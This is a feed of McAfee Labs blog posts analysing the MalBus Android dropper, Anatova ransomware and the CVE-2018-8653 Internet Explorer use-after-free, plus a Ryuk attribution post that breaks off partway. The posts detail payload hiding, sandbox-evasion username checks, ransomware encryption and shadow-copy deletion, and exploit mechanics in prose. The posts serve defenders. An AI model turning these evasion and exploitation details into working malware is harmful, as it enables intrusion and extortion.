McAfee Labs – McAfee Blogs https://securingtomorrow.mcafee.com Securing Tomorrow. Today. Fri, 15 Feb 2019 17:15:18 +0000 en-US hourly 1 https://securingtomorrow.mcafee.com/wp-content/uploads/2018/11/cropped-favicon-32x32.png McAfee Labs – McAfee Blogs https://securingtomorrow.mcafee.com 32 32 MalBus: Popular South Korean Bus App Series in Google Play Found Dropping Malware After 5 Years of Development https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/malbus-popular-south-korean-bus-app-series-in-google-play-found-dropping-malware-after-5-years-of-development/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/malbus-popular-south-korean-bus-app-series-in-google-play-found-dropping-malware-after-5-years-of-development/#respond Mon, 04 Feb 2019 18:00:12 +0000 https://securingtomorrow.mcafee.com/?p=94034

McAfee’s Mobile Research team recently learned of a new malicious Android application masquerading as a plugin for a transportation application series developed by a South Korean developer. The series provides a range of information for each region of South Korea, such as bus stop locations, bus arrival times and so on. There are a total […]

The post MalBus: Popular South Korean Bus App Series in Google Play Found Dropping Malware After 5 Years of Development appeared first on McAfee Blogs.

]]>

McAfee’s Mobile Research team recently learned of a new malicious Android application masquerading as a plugin for a transportation application series developed by a South Korean developer. The series provides a range of information for each region of South Korea, such as bus stop locations, bus arrival times and so on. There are a total of four apps in the series, with three of them available from Google Play since 2013 and the other from around 2017. Currently, all four apps have been removed from Google Play while the fake plugin itself was never uploaded to the store. While analyzing the fake plugin, we were looking for initial downloaders and additional payloads – we discovered one specific version of each app in the series (uploaded at the same date) which was dropping malware onto the devices on which they were installed, explaining their removal from Google Play after 5 years of development.

Figure 1. Cached Google Play page of Daegu Bus application, one of the apps in series

When the malicious transportation app is installed, it downloads an additional payload from hacked web servers which includes the fake plugin we originally acquired. After the fake plugin is downloaded and installed, it does something completely different – it acts as a plugin of the transportation application and installs a trojan on the device, trying to phish users to input their Google account password and completely take control of the device. What is interesting is that the malware uses the native library to take over the device and also deletes the library to hide from detection. It uses names of popular South Korean services like Naver, KakaoTalk, Daum and SKT. According to our telemetry data, the number of infected devices was quite low, suggesting that the final payload was installed to only a small group of targets.

The Campaign

The following diagram explains the overall flow from malware distribution to device infection.

Figure 2. Device infection process

When the malicious version of the transportation app is installed, it checks whether the fake plugin is already installed and, if not, downloads from the server and installs it. After that, it downloads and executes an additional native trojan binary which is similar to the trojan which is dropped by the fake plugin. After everything is done, it connects with the C2 servers and handles received commands.

Initial Downloader

The following table shows information about the malicious version of each transportation app in the series. As the Google Play number of install stats shows, these apps have been downloaded on many devices.

Unlike the clean version of the app, the malicious version contains a native library named “libAudio3.0.so”.

Figure 3. Transportation app version with malicious native library embedded

In the BaseMainActivity class of the app, it loads the malicious library and calls startUpdate() and updateApplication().

Figure 4. Malicious library being loaded and executed in the app

startUpdate() checks whether the app is correctly installed by checking for the existence of a specific flag file named “background.png” and whether the fake plugin is installed already. If the device is not already infected, the fake plugin is downloaded from a hacked web server and installed after displaying a toast message to the victim. updateApplication() downloads a native binary from the same hacked server and dynamically loads it. The downloaded file (saved as libSound1.1.so) is then deleted after being loaded into memory and, finally, it executes an exported function which acts as a trojan. As previously explained, this file is similar to the file dropped by the fake plugin which is discussed later in this post.

Figure 5 Additional payload download servers

Fake Plugin

The fake plugin is downloaded from a hacked web server with file extension “.mov” to look like a media file. When it is installed and executed, it displays a toast message saying the plugin was successfully installed (in Korean) and calls a native function named playMovie(). The icon for the fake plugin soon disappears from the screen. The native function implemented in LibMovie.so, which is stored inside the asset folder, drops a malicious trojan to the current running app’s directory masquerading as libpng.2.1.so file. The dropped trojan is originally embedded in the LibMovie.so xor’ed, which is decoded at runtime. After giving permissions, the address of the exported function “Libfunc” in the dropped trojan is dynamically retrieved using dlsym(). The dropped binary in the filesystem is deleted to avoid detection and finally Libfunc is executed.

Figure 6 Toast message when malware is installed

In the other forked process, it tries to access the “naver.property” file on an installed SD Card, if there is one, and if it succeeds, it tries starting “.KaKaoTalk” activity which displays a Google phishing page (more on that in the next section) . The overall flow of the dropper is explained in the following diagram:

Figure 7. Execution flow of the dropper

Following is a snippet of a manifest file showing that “.KaKaoTalk” activity is exported.

Figure 8. Android Manifest defining “.KaKaoTalk” activity as exported

Phishing in JavaScript

KakaoTalk class opens a local HTML file, javapage.html, with the user’s email address registered on the infected device automatically set to log into their account.

Figure 9. KakaoTalk class loads malicious local html file

The victim’s email address is set to the local page through a JavaScript function setEmailAddress after the page is finished loading. A fake Korean Google login website is displayed:

Figure 10. The malicious JavaScript shows crafted Google login page with user account

We found the following attempts of exploitation of Google legitimate services by the malware author:

  • Steal victim’s Google account and password
  • Request password recovery for a specific account
  • Set recovery email address when creating new Google account

An interesting element of the phishing attack is that the malware authors tried to set their own email as the recovery address on Google’s legitimate services. For example, when a user clicks on the new Google account creation link in the phishing page, the crafted link is opened with the malware author’s email address as a parameter of RecoveryEmailAddress.

Figure 11. The crafted JavaScript attempts to set recovery email address for new Google account creation.

Fortunately for end users, none of the above malicious attempts are successful. The parameter with the malware author’s email address is simply ignored at the account creation stage.

Trojan

In addition to the Google phishing page, when “Libfunc” function of the trojan (dropped by the fake plugin or downloaded from the server) is executed, the mobile phone is totally compromised. It receives commands from the following hardcoded list of C2 servers. The main functionality of the trojan is implemented in a function called “doMainProc()”. Please note that there are a few variants of the trojanwith different functionality but, overall, they are pretty much the same.

Figure 12. Hardcoded list of C2 servers

The geolocation of hardcoded C2 servers lookslike the following:

Figure 13. Location of C2 Servers

Inside doMainProc(), the trojan receives commands from the C2 server and calls appropriate handlers. Part of the switch block below gives us an idea of what type of commands this trojan supports.

Figure 14. Subset of command handlers implemented in the dropped trojan.

As you can see, it has all the functionality that a normal trojan has. Downloading, uploading and deleting files on the device, leaking information to a remote server and so on. The following table explains supported C2 commands:

Figure 15. C2 Commands

Before entering the command handling loop, the trojan does some initialization, like sending device information files to the server and checking the UID of the device. Only after the UID checking returns a 1 does it enter the loop.

Figure 16 Servers connected before entering command loop

Among these commands, directory indexing in particular is important. The directory structure is saved in a file named “kakao.property” and while indexing the given path in the user device, it checks the file with specific keywords and if it matches, uploads the file to the remote upload server. These keywords are Korean and its translated English version is as per the following table:

Figure 17 Search file keywords

By looking at the keywords we can anticipate that the malware authors were looking for files related to the military, politics and so on. These files are uploaded to a separate server.

Figure 18 Keyword matching file upload server

Conclusion

Applications can easily trick users into installing them before then leaking sensitive information. Also, it is not uncommon to see malware sneaking onto the official Google Play store, making it hard for users to protect their devices. This malware has not been written for ordinary phishing attempts, but rather very targeted attacks, searching the victim’s devices for files related to the military and politics, likely trying to leak confidential information. Users should always install applications that they can fully trust even though they are downloaded from trusted sources.

McAfee Mobile Security detects this threat as Android/MalBus and alerts mobile users if it is present, while protecting them from any data loss. For more information about McAfee Mobile Security, visit https://www.mcafeemobilesecurity.com.

Hashes (SHA-256)

Initial Downloader (APK)
• 19162b063503105fdc1899f8f653b42d1ff4fcfcdf261f04467fad5f563c0270
• bed3e665d2b5fd53aab19b8a62035a5d9b169817adca8dfb158e3baf71140ceb
• 3252fbcee2d1aff76a9f18b858231adb741d4dc07e803f640dcbbab96db240f9
• e71dc11e8609f6fd84b7af78486b05a6f7a2c75ed49a46026e463e9f86877801

Fake Plugin (APK)
• ecb6603a8cd1354c9be236a3c3e7bf498576ee71f7c5d0a810cb77e1138139ec
• b8b5d82eb25815dd3685630af9e9b0938bccecb3a89ce0ad94324b12d25983f0

Trojan (additional payload)
• b9d9b2e39247744723f72f63888deb191eafa3ffa137a903a474eda5c0c335cf
• 12518eaa24d405debd014863112a3c00a652f3416df27c424310520a8f55b2ec
• 91f8c1f11227ee1d71f096fd97501c17a1361d71b81c3e16bcdabad52bfa5d9f
• 20e6391cf3598a517467cfbc5d327a7bb1248313983cba2b56fd01f8e88bb6b9

The post MalBus: Popular South Korean Bus App Series in Google Play Found Dropping Malware After 5 Years of Development appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/malbus-popular-south-korean-bus-app-series-in-google-play-found-dropping-malware-after-5-years-of-development/feed/ 0
Happy New Year 2019! Anatova is here! https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/happy-new-year-2019-anatova-is-here/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/happy-new-year-2019-anatova-is-here/#respond Tue, 22 Jan 2019 20:43:53 +0000 https://securingtomorrow.mcafee.com/?p=93918

During our continuous hunt for new threats, we discovered a new ransomware family we call Anatova (based on the name of the ransom note). Anatova was discovered in a private peer-to-peer (p2p) network. After initial analysis, and making sure that our customers are protected, we decided to make this discovery public. Our telemetry showed that […]

The post Happy New Year 2019! Anatova is here! appeared first on McAfee Blogs.

]]>

During our continuous hunt for new threats, we discovered a new ransomware family we call Anatova (based on the name of the ransom note). Anatova was discovered in a private peer-to-peer (p2p) network. After initial analysis, and making sure that our customers are protected, we decided to make this discovery public.

Our telemetry showed that although Anatova is relatively new, we already discovered a widespread detection of the thread around the globe

We believe that Anatova can become a serious threat since the code is prepared for modular extension.

Additionally, it will also check if network-shares are connected and will encrypt the files on these shares too. The developers/actors behind Anatova are, according our assessment, skilled malware authors. We draw this conclusion as each sample has its own unique key, as well as other functions we will describe, which we do not often see in ransomware families.

This post will explain the technical details of Anatova, as well as some interesting facts about this new ransomware family.

For the analysis we used this particular hash: 170fb7438316f7335f34fa1a431afc1676a786f1ad9dee63d78c3f5efd3a0ac0

The main goal of Anatova is to cipher all the files that it can before requesting payment from the victim.

 

Anatova Overview

Anatova usually uses the icon of a game or application to try and fool the user into downloading it. It has a manifest to request admin rights.

Information about the binary

The Anatova ransomware is a 64bits application with the compile date of January 1st, 2019. The file size of this particular hash is 307kb, but it can change due to the amount of resources used in the sample. If we remove all these resources, the size is 32kb; a very small program with a powerful mechanism inside.

Anatova has some strong protection techniques against static analysis which makes things slightly tricky:

  • Most of the strings are encrypted (Unicode and Ascii), using different keys to decrypt them, embedded in the executable.
  • 90% of the calls are dynamic;, they only use the following non-suspicious Windows API’s and standard library of C- programming language: GetModuleHandleW, LoadLibraryW, GetProcAddress, ExitProcess and MessageBoxA.
  • When we open the binary in IDA Pro (included the latest version of IDA) the functions are bad detected, and they finish being processed after 3 opcodes. We are not sure if this is a bug in IDA Pro or perhaps the malware authors created something to cause this on purpose (which we doubt).

Problem in IDA Pro 7.2 last version

 

Entry Vector

At the moment we don´t know all entry vectors that Anatova is using, or will be using, in the near future. Our initial finding location was in private p2p.

The goal of Anatova, as with other ransomware families, is to encrypt all or many files on an infected system and insist on payment to unlock them. The actor(s) demand a ransom payment in cryptocurrency of 10 DASH – currently valued at around $700 USD, a quite high amount compared to other ransomware families.

 

In-depth highlights of version 1.0

Since this is a novel family, we didn’t find any version number inside the code, but let’s call this version 1.0

The first action that the malware executes is to get the module handle of the library “kernel32.dll” and get 29 functions from it using the function “GetProcAddress”.

Get kernel32 functions after decrypt strings

If the malware can´t get the module handle of kernel32, or some of the functions can´t be found, it will quit without executing any encryption.

Later, the malware will try to create a mutex with a hardcoded name (in this case: 6a8c9937zFIwHPZ309UZMZYVnwScPB2pR2MEx5SY7B1xgbruoO) but the mutex name changes in each sample. If the mutex is created, and gets the handle, it will call the “GetLastError” function and look if the last error is ERROR_ALREADY_EXISTS or ERROR_ACCESS_DENIED. Both errors mean that a previous instance of this mutex object exists. If that is the case, the malware will enter in a flow of cleaning memory, that we will explain later in this post, and finish.

Check mutex

After this check, Anatova will get some functions from the library “advapi32.dll”, “Crypt32.dll” and “Shell32.dll” using the same procedure as in the kernel case. All text is encrypted and decrypted one per one, get the function, free the memory, and continue with the next one.

If it fails in getting some of these modules or some of the functions it needs, it will go to the flow of cleaning tool and exit.

One interesting function we discovered was that Anatova will retrieve the username of the logged in and/or active user and compare with a list of names encrypted. If one of the names is detected, it will go to the cleaning flow procedure and exit.

The list of users searched are:

  • LaVirulera
  • tester
  • Tester
  • analyst
  • Analyst
  • lab
  • Lab
  • Malware
  • malware

Some analysts or virtual machines/sandboxes are using these default usernames in their setup, meaning that the ransomware will not work on these machines/sandboxes.

After this user-check, Anatova will check the language of the system. When we say language, we mean the system language. When a user installs the Windows OS, they choose a language to install it with (though later the user could install a different language). Anatova checks for the first installed language on the system to ensure that a user cannot install one of these blacklisted languages to avoid encryption of the files.

The list of the countries that Anatova doesn’t affect are:

  • All CIS countries
  • Syria
  • Egypt
  • Morocco
  • Iraq
  • India

It’s quite normal to see the CIS countries being excluded from execution and often an indicator that the authors might be originating from one of these countries. In this case it was surprising to see the other countries being mentioned. We do not have a clear hypothesis on why these countries in particular are excluded.

Check system language

After the language check, Anatova looks for a flag that, in all samples we looked at, has the value of 0, but if this flag would change to the value of 1 (the current malware samples never change that value), it will load two DLLs with the names (after decryption) of “extra1.dll” and “extra2.dll”. This might indicate that Anatova is prepared to be modular or to be extended with more functions in the near future.

Load extra modules

After this, the malware enumerates all processes in the system and compares them with a large list including, for example “steam.exe”, “sqlserver.exe”, etc. If some of these processes are discovered, the malware will open them and terminate them. This action is typical of ransomware that attempts to unlock files that later will be encrypted, such as database files, game files, Office related files, etc.

The next action is to create an RSA Pair of Keys using the crypto API that will cipher all strings. This function is the same as in other ransomware families, such as GandCrab or Crysis, for example. It makes sure that the keys that will be used, are per user and per execution.

If the malware can´t create the keys, it will go to the clean flow and exit.

After this, Anatova will make a random key of 32 bits and another value of 8 bytes using the function of the crypto API “CryptGenRandom” to encrypt using the Salsa20 algorithm and the private previous blob key in runtime.

During the encryption process of the files, it will decrypt the master RSA public key of the sample of 2 layers of crypto, the first one is a XOR with the value 0x55 and the second one is to decrypt it using a hardcoded key and IV in the sample using the Salsa20 algorithm.

Decrypt from first layer the master RSA public key of sample

After this, it will import the public key and with it, will encrypt the Salsa20 key and IV used to encrypt the private RSA key in runtime.

The next step is to prepare a buffer of memory and with all of the info encrypted (Salsa20 key, Salsa20 IV, and private RSA key). It makes a big string in BASE64 using the function “CryptBinaryToStringA”. The ransomware will later clean the computer’s memory of the key, IV, and private RSA key values, to prevent anyone dumping this information from memory and creating a decrypter.

This BASE64 string will be written later in the ransom note. Only the malware authors can decrypt the Salsa20 key and IV and the private RSA key that the user would need  to decrypt the files.

If this does not work, Anatova will delete itself, enter in the clean flow and exit.

When the keys are encrypted in the memory buffer, Anatova will enumerate all logic units and will search for all existing instances of the type DRIVE_FIXED (a normal hard disk for example) or DRIVE_REMOTE (for remote network shares that are mounted). Anatova will try to encrypt the files on each of those locations. This means that one corporate victim can cause a major incident when files on network-shares are being encrypted.

Check all logic units

For each mounted drive – hard disk or remote share, Anatova will get all files and folders. It will later check if it is a folder and, if it is, will check that the folder name doesn’t have the name of “.” and “..”, to avoid the same directory and the previous directory.

In the list of gathered folder names, Anatova checks against a list of blacklisted names such as “Windows”, “Program Files”, “Program Files(x86)”, etc. This is usual in many ransomware families, because the authors want to avoid destroying the Operating System, instead targeting the high value files. Anatova does the same for file-extensions .exe, .dll and .sys that are critical for the Operating system as well.

Check file name and extension

If this check is passed, Anatova will open the file and get its size, comparing it to1 MB. Anatova will only encrypt files1 MB or smaller to avoid lost time with big files; it wants to encrypt fast. By setting pointers at the end of the encrypted files, Anatova makes sure that it does not encrypt files that are already encrypted.

Next, Anatova will create a random value of 32bits as a key for the Salsa20 algorithm and another value of 8 bytes that will be used as IV for Salsa20.

With these values, it will read all files in memory or files with a maximum size of 1 MB and encrypt this information with the key and IV using the Salsa20 algorithm (this is very popular lately because it is a very quick algorithm and has open source implementations).

Encryption of files function

It will import the RSA public key created in runtime and with it, encrypt the key and IV used to encrypt the file. Next, it will write the encrypted content in the same file from the beginning of the file and then it will set the pointer to the end of the file and write the next things:

  • The block encrypted of the Salsa20 key is ciphered with the public RSA key.
  • The block encrypted of the Salsa20 IV is ciphered with the public RSA key.
  • The size of the file is smaller than 1 MB.
  • A special hardcoded value for each sample that will appear in the ransom note.
  • A special hardcoded value in the sample that is the mark of infection checked before to avoid encrypting the same file twice.

When this is completed, Anatova will write a ransom note in the same folder. So, if Anatova can´t encrypt at least something in a folder, it won’t create a ransom note in this folder, only in the affected folders.

This behavior is different from other ransomware families that write a ransom note in all folders.

The ransom note text is fully encrypted in the binary, except for the mail addresses to contact the author(s) and the dash address to pay.

Anatova doesn’t overwrite the ransom note if it already exists in a folder in order to save time.The ransom note contains the base64 block with all encrypted information that is needed to decrypt the files in a block that start with the string “—-KEY—-”, as well asthe id number.

Responding victims are then allowed to decrypt one .jpg file of maximum size 200kb free of charge, as proof that they the decrypted files can be retrieved.

Example of ransom note

When all this is done, Anatova will destroy the Volume Shadow copies 10 times in very quick succession. Like most ransomware families, it is using the vssadmin program, which required admin rights, to run and delete the volume shadow copies.

Delete of Shadow Volumes 10 times

Finally, when all steps are completed, the ransomware will follow the flow of cleaning code, as described earlier, mainly to prevent dumping memory code that could assist in creating a decryption tool.

COVERAGE

Customers of McAfee gateway and endpoint products are protected against this version. Detection names include Ransom-Anatova![partialhash].

INDICATORS OF COMPROMISE

The samples use the following MITRE ATT&CK™ techniques:

  • Execution through API
  • Application processes discovery
  • File and directory discovery: to search files to encrypt
  • Encrypt files
  • Process discovery: enumerating all processes on the endpoint to kill some special ones
  • Create files
  • Elevation of privileges: request it to run.
  • Create mutants

 

Hashes:

2a0da563f5b88c4d630aefbcd212a35e

366770ebfd096b69e5017a3e33577a94

9d844d5480eec1715b18e3f6472618aa

61139db0bbe4937cd1afc0b818049891

596ebe227dcd03863e0a740b6c605924

 

The post Happy New Year 2019! Anatova is here! appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/happy-new-year-2019-anatova-is-here/feed/ 0
IE Scripting Flaw Still a Threat to Unpatched Systems: Analyzing CVE-2018-8653 https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/ie-scripting-flaw-still-a-threat-to-unpatched-systems-analyzing-cve-2018-8653/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/ie-scripting-flaw-still-a-threat-to-unpatched-systems-analyzing-cve-2018-8653/#respond Thu, 10 Jan 2019 23:27:28 +0000 https://securingtomorrow.mcafee.com/?p=93699

Microsoft recently patched a critical flaw in Internet Explorer’s scripting engine that could lead to remote code execution. The vulnerability is being exploited in the wild and was originally reported by a researcher from Google’s Threat Analysis Group. Microsoft released an out-of-band patch to fix the vulnerability before the normal patch cycle. McAfee products received […]

The post IE Scripting Flaw Still a Threat to Unpatched Systems: Analyzing CVE-2018-8653 appeared first on McAfee Blogs.

]]>

Microsoft recently patched a critical flaw in Internet Explorer’s scripting engine that could lead to remote code execution. The vulnerability is being exploited in the wild and was originally reported by a researcher from Google’s Threat Analysis Group. Microsoft released an out-of-band patch to fix the vulnerability before the normal patch cycle. McAfee products received an update to detect the threat shortly after the patch was released.

A remote attacker can target Internet Explorer Versions 9 through 11 via a specially crafted website, while a local attacker on a rogue network could also target the Web Proxy Auto-Discovery service, which uses the same vulnerable scripting engine (jscript.dll). Microsoft Edge is not affected; however, other Windows applications that include the scripting engine might be vulnerable until the security patch from Microsoft is applied.

Context

Vulnerabilities targeting Internet Explorer that can be triggered either remotely or locally are prime tools for cybercriminals to compromise many unpatched computers. That is why criminals usually integrate those vulnerabilities into exploit kits, which propagate malware or conduct other nefarious activities against compromised hosts. The threat of exploit kits is one reason to track this type of vulnerability and to ensure all security patches are deployed in a timely manner. In 2018, more than 100 memory corruption vulnerabilities were found in a Microsoft scripting engine (either for Internet Explorer or Edge). See the MITRE website for more details. (For defense-in-depth, products such as McAfee Endpoint Security or McAfee Host Intrusion Prevention can detect and eradicate such threats until patches can be applied.)

Once a CVE ID is released, cybercriminals can take as little as a few weeks (or in some cases days) to integrate it into their exploit kit. For example, CVE-2018-8174 was initially reported to Microsoft in late April by two teams of threat researchers who had observed its exploitation in the wild. Microsoft published an advisory within a week, in early May. Meanwhile, the researchers published their security analysis of the exploit. Only two weeks later a proof-of-concept exploit was publicly released. In the next couple of weeks exploit kits RIG and Magnitude integrated their weaponized versions of the exploit. (A more detailed timeline can be found here.)

It took less than a month for cybercriminals to weaponize the vulnerability initially disclosed by Microsoft; therefore, it is critical to understand the threat posed by these attack vectors, and to ensure counter measures are in place to stop the threat before it can do any damage.

Technical details

The IE scripting engine jscript.dll is a code base that has been heavily audited:

It is no surprise that exploitable bugs are becoming more exotic. This is the case for CVE 2018-8653, which takes three seemingly innocent behaviors and turns them into a use-after-free flaw. A Microsoft-specific extension triggers a rarely explored code path that eventually misbehaves and invokes a frequently used function with unusual arguments. This leads to the use-after-free condition that was exploited in the wild.

The enumerator object: The entry point for this vulnerability is a Microsoft-specific extension, the enumerator object. It offers an API to enumerate opaque objects that belong to the Windows world (mostly ActiveX components, such as a file system descriptor used to list drives on a system). However, it can also be called on a JavaScript array. In this situation, one can access the array member as usual, but objects created this way are stored slightly differently in memory. This is the cause of interesting side effects.

The objects created by calling the Enumerator.prototype.item() function are recognized as an ActiveXObject and, as seen in the creation of eObj, we can under certain circumstances overwrite the “prototype” member that should have been a read-only property.

Unexpected side effect: The ability to overwrite the prototype member of an ActiveXObject can seem innocuous at first, but it can be leveraged to explore a code path that should not be reachable.

When using the “instanceof” keyword, we can see that the right side of the keyword expects a function. However, with a specially crafted object, the instanceof call succeeds and, worse, we can control the code being executed.

The edge case of invoking instanceof on a specially crafted ActiveXObject gives us the opportunity to run custom JavaScript code from a callback we control, which is typically an error-prone situation.

Attackers successfully turned this bug into a use-after-free condition, as we shall see next.

Exploiting the bug: Without getting into too much detail (see the proof of concept later in this document for more info), this bug can be turned into a “delete this” type of primitive, which resembles previously reported bugs.
When the callback function (“f” in our previous example) is invoked, the keyword “this” points to eObj.prototype. If we set it to null and then trigger a garbage collection, the memory backing the object can be freed and later reclaimed. However, as mentioned in the Project Zero bug report, to be successful an entire block of variables needs to be cleared before the memory is freed.

The out-of-band patch: Microsoft released an unscheduled patch to fix this vulnerability. It is common practice for us to look at what changed before and after the patch. Interestingly, this patch changes the strict minimum number of bytes, while the version number of the DLL remains unchanged.

Using the popular diffing tool Diaphora, we compared the version of jscript.dll for Windows 10, x64-bit edition (feature version 1809).

We can see that only a few functions were modified. All but one point to array-related functions. Those were probably patches addressing CVE 2018-8631 (jscript!JsArrayFunctionHeapSort out-of-bounds write). The only one remaining that was substantially modified is NameTbl::InvokeInternal.

Diaphora provides us with a diff of the assembly code of the two versions of the function. In this instance, it is easier to compare the functions side by side in Ida Pro to see what has changed. A quick glance toward the end of the function shows the introduction of two calls to GCRoot::~GCRoot (the destructor of the object GCRoot).

Looking at the implementation of ~GCRoot, we see it is the same code as that inlined in that function created by the compiler in the older version of the DLL.

In the newer version of the DLL, this function is called twice; while in the unpatched version, the code was called only once (inlined by the compiler, hence the absence of a function call). In C++ parlance, ~GCRoot is the destructor of GCRoot, so we may want to find the constructor of GCRoot. An easy trick is to notice the magic offset 0x3D0 to see if this value is used anywhere else. We find it near the top of the same function (the unpatched version is on the left):

Diving into the nitty gritty of garbage collection for jscript.dll is beyond the scope of this post, so let’s make some assumptions. In C++/C#, GCRoot would usually design a template to keep track of references pointing to the object being used, so those do not have garbage collection. Here it looks as though we are saving stack addresses (aka local variables) into a list of GCRoot objects to tell the garbage collector not to collect the objects whose pointers are on those specific locations on the stack. In hindsight this makes sense; we were able to “delete this” because “this” was not tracked by the garbage collector, so now Microsoft makes sure to specifically add that stack variable to the tracked elements.

We can verify this hypothesis by tracing the code around an invocation of instanceof. It turns out that just before invoking our custom “isPrototypeOf” callback function, a call to NameTbl::GetVarThis stores a pointer in the newly “protected” stack variable and then invokes ScrFncObj::Call to execute our callback.

Looking at unexpected behavior in `instanceof`: Curious readers might wonder why it is possible to invoke instanceof on a custom object rather than on a function (as described previously). When instanceof is invoked in JavaScript, the CScriptRuntime::InstOf function is called behind the scene. Early on, the function distinguishes two cases. If the variable type is 0x81 (which seems to be a broad type for a JavaScript object on the heap), then it invokes a virtual function that returns true/false if the object can be called. On the other hand, if the type is not 0x81, a different path is followed; it tries to automatically resolve the prototype object and invoke isPrototypeOf.

The 0x81 path:

The not 0x81 path:

 

 

Proof of concept

Now that we have seen the ins and outs of the bug, let’s look at a simple proof of concept that exhibits the use-after-free behavior.

First, we set up a couple of arrays, so that everything that can be preallocated is allocated, and the heap is in a somewhat ready state for the use after free.

Then, we declare our custom callback and trigger the vulnerability:

For some reason, the objects array needs to be freed and garbage collected before the next step of the exploit. This could be due to some side effect of freeing the ActiveXObject. The memory is reclaimed when we assign “1” to the property reallocPropertyName. That variable is a magic string that will be copied over the recently freed memory to mimic legitimate variables. It is created as shown:

The 0x0003 is a variable type that tells us the following value is an integer and that 1337 is its value. The string needs to be long enough to trigger an allocation of the same or similar size as the memory block that was recently freed.

To summarize, JavaScript variables (here, the RegExp objects) are stored in a block; when all the variables from the block are freed, the block itself is freed. In the right circumstances, the newly allocated string can take the place of the recently freed block, and because “this” is still dangling in our callback, it can be used for some type confusion. (This is the method used by the attackers, but beyond the scope of this post.) In this example, the code will print 1337 instead of an empty RegExp.

McAfee coverage

Please refer to the McAfee product bulletin for full coverage updates. Here is a short summary of current product coverage as of this writing.

Endpoint products: Endpoint Security (ENS), ENS Adaptive Threat Protection (ENS-ATP), Host Intrusion Prevention (HIPS), VirusScan Enterprise (VSE), WSS.

  • ENS (10.2.0+) with Exploit Prevention
    • Proactively covered by McAfee Generic Buffer Overflow Protection Signature ID 428
  • HIPS (8.0.0+)
    • Proactively covered by McAfee Generic Buffer Overflow Protection Signature ID 428
  • ENS (all versions) and WSS (all versions). Coverage based on samples observed so far. This protection is expected to be expanded over the next few days as viable exploitation attempts are seen.
    • Minimum DAT: V3 DAT (3564)
    • Detection names: Exploit-CVE2018-8653 and Exploit-CVE2018-8653.a
  • VSE (8.8+). Coverage based on samples observed so far. This protection is expected to be expanded over the next few days as viable exploitation attempts are seen.
    • Minimum DAT: V2 DAT (9113)
    • Detection names: Exploit-CVE2018-8653 and Exploit-CVE2018-8653.a

Content summary

  • DATs: V2 DAT (9113), V3 DAT (3564)
  • Generic Buffer Overflow Protection Signature ID 428

MITRE score

The base score (CVSS v3.0) for this vulnerability is 7.5 (High) with an impact score of 5.9 and an exploitability score of 1.6.

Conclusion

CVE-2018-8653 targets multiple versions of Internet Explorer and other applications that rely on the same scripting engine. Attackers can execute arbitrary code on unpatched hosts from specifically crafted web pages or JavaScript files. Even though the bug was recently fixed by Microsoft, we can expect exploit kits to soon deploy a weaponized version of this critical vulnerability, leveraging it to target remaining unpatched systems. The technical analysis in this post should provide enough information for defenders to ensure their systems will withstand the threat and to know which primitives to look for as an entry point for the attack. McAfee security products can be leveraged to provide specific “virtual patching” for this threat until full software patches can be deployed, while current generic buffer overflow protection rules can be used to fingerprint exploit attempts against this and similar vulnerabilities.

The post IE Scripting Flaw Still a Threat to Unpatched Systems: Analyzing CVE-2018-8653 appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/ie-scripting-flaw-still-a-threat-to-unpatched-systems-analyzing-cve-2018-8653/feed/ 0
Ryuk Ransomware Attack: Rush to Attribution Misses the Point https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/ryuk-ransomware-attack-rush-to-attribution-misses-the-point/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/ryuk-ransomware-attack-rush-to-attribution-misses-the-point/#respond Wed, 09 Jan 2019 19:00:14 +0000 https://securingtomorrow.mcafee.com/?p=93619

Senior analyst Ryan Sherstobitoff contributed to this report. During the past week, an outbreak of Ryuk ransomware that impeded newspaper printing services in the United States has garnered a lot of attention. To determine who was behind the attack many have cited past research that compares code from Ryuk with the older ransomware Hermes to […]

The post Ryuk Ransomware Attack: Rush to Attribution Misses the Point appeared first on McAfee Blogs.

]]>

Senior analyst Ryan Sherstobitoff contributed to this report.

During the past week, an outbreak of Ryuk ransomware that impeded newspaper printing services in the United States has garnered a lot of attention. To determine who was behind the attack many have cited past research that compares code from Ryuk with the older ransomware Hermes to link the attack to North Korea. Determining attribution was largely based on the fact that the Hermes ransomware has been used in the past by North Korean actors, and code blocks in Ryuk are similar to those in Hermes.

The McAfee Advanced Threat Research team has investigated this incident and determined how the malware works, how the attackers operate, and how to detect it. Based on the technical indicators, known cybercriminal characteristics, and evidence discovered on the dark web, our hypothesis is that the Ryuk attacks may not necessarily be backed by a nation-state, but rather share the hallmarks of a cybercrime operation.

How McAfee approaches attribution

Attribution is a critical part of any cybercrime investigation. However, technical evidence is often not enough to positively identify who is behind an attack because it does not provide all the pieces of the puzzle. Artifacts do not all appear at once; a new piece of evidence unearthed years after an attack can shine a different light on an investigation and introduce new challenges to current assumptions.

Ryuk attack: putting the pieces together

In October 2017, we investigated an attack on a Taiwanese bank. We discovered the actors used a clever tactic to distract the IT staff: a ransomware outbreak timed for the same moment that the thieves were stealing money. We used the term pseudo-ransomware to describe this attack. The malware was Hermes version 2.1.

One of the functions we often see in ransomware samples is that they will not execute if the victim’s system language is one of the following:

  • 419 (Russian)
  • 422 (Ukrainian)
  • 423 (Belarusian)

That was October 2017. Searching earlier events, we noticed a posting from August 2017 in an underground forum in which a Russian-speaking actor offered the malware kit Hermes 2.1 ransomware:

What if the actor who attacked the Taiwanese bank simply bought a copy of Hermes and added it to the campaign to cause the distraction? Why go to the trouble to build something, when the actor can just buy the perfect distraction in an underground forum?

In the same underground forum thread we found a post from October 22, 2018, mentioning Ryuk.

This post contains a link to an article in the Russian security magazine Xakep.ru (“Hacker”) discussing the emergence of Ryuk and how it was first discovered by MalwareHunterTeam in August 2018. This first appearance came well before last week’s attack on newspaper printing services.

Manga connection

Ryuk, according to Wikipedia, refers to a Japanese manga character from the series “Death Note.” Ryuk apparently drops a death note, a fitting name for ransomware that drops ransom notes.

